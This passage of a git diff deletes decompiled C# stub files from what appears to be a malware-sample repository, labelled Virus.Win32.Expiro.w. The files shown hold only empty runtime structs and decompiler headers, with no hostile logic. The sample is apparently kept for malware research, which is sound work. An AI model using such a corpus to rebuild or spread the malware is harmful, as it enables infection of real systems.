System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs deleted file mode 100644 index 6640afe4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0A@P6AXXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs deleted file mode 100644 index b98b79c3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BAE@G -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [UnsafeValueType] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 520)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs deleted file mode 100644 index db862e82..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BAF@G -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 522)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs deleted file mode 100644 index 78d8117c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BB@K -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 68)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BB\u0040K - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs deleted file mode 100644 index 7b762a32..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BC@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs deleted file mode 100644 index 6342400e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CB@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 66)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs deleted file mode 100644 index c8fb1510..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CE@$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs deleted file mode 100644 index 3c9b4162..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CE@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 72)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs deleted file mode 100644 index 236a28c6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0EE@E -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 68)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs deleted file mode 100644 index db5da1d0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0O@$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 14)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0O\u0040\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs deleted file mode 100644 index 3a5bf59f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0P@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [UnsafeValueType] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 30)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0P\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/ActivationContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/ActivationContext.cs deleted file mode 100644 index 8dcdace5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/ActivationContext.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .ActivationContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct ActivationContext - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/AtExitLock.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/AtExitLock.cs deleted file mode 100644 index af82e390..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/AtExitLock.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .AtExitLock -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct AtExitLock - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/DefaultDomain.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/DefaultDomain.cs deleted file mode 100644 index 5445306b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/DefaultDomain.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .DefaultDomain -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct DefaultDomain - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/LanguageSupport.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/LanguageSupport.cs deleted file mode 100644 index 69565eb0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/LanguageSupport.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .LanguageSupport -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct LanguageSupport - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/NativeDll.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/NativeDll.cs deleted file mode 100644 index fd15b546..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/NativeDll.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .NativeDll -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct NativeDll - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/Progress.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/Progress.cs deleted file mode 100644 index 5f1c90d4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/Progress.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Progress -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct Progress - { - [NativeCppClass] - [CLSCompliant(false)] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - public enum State - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/ThisModule.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/ThisModule.cs deleted file mode 100644 index 2331de6c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/ThisModule.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .ThisModule -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct ThisModule - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/TriBool.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/TriBool.cs deleted file mode 100644 index 512eb4d9..00000000 --- 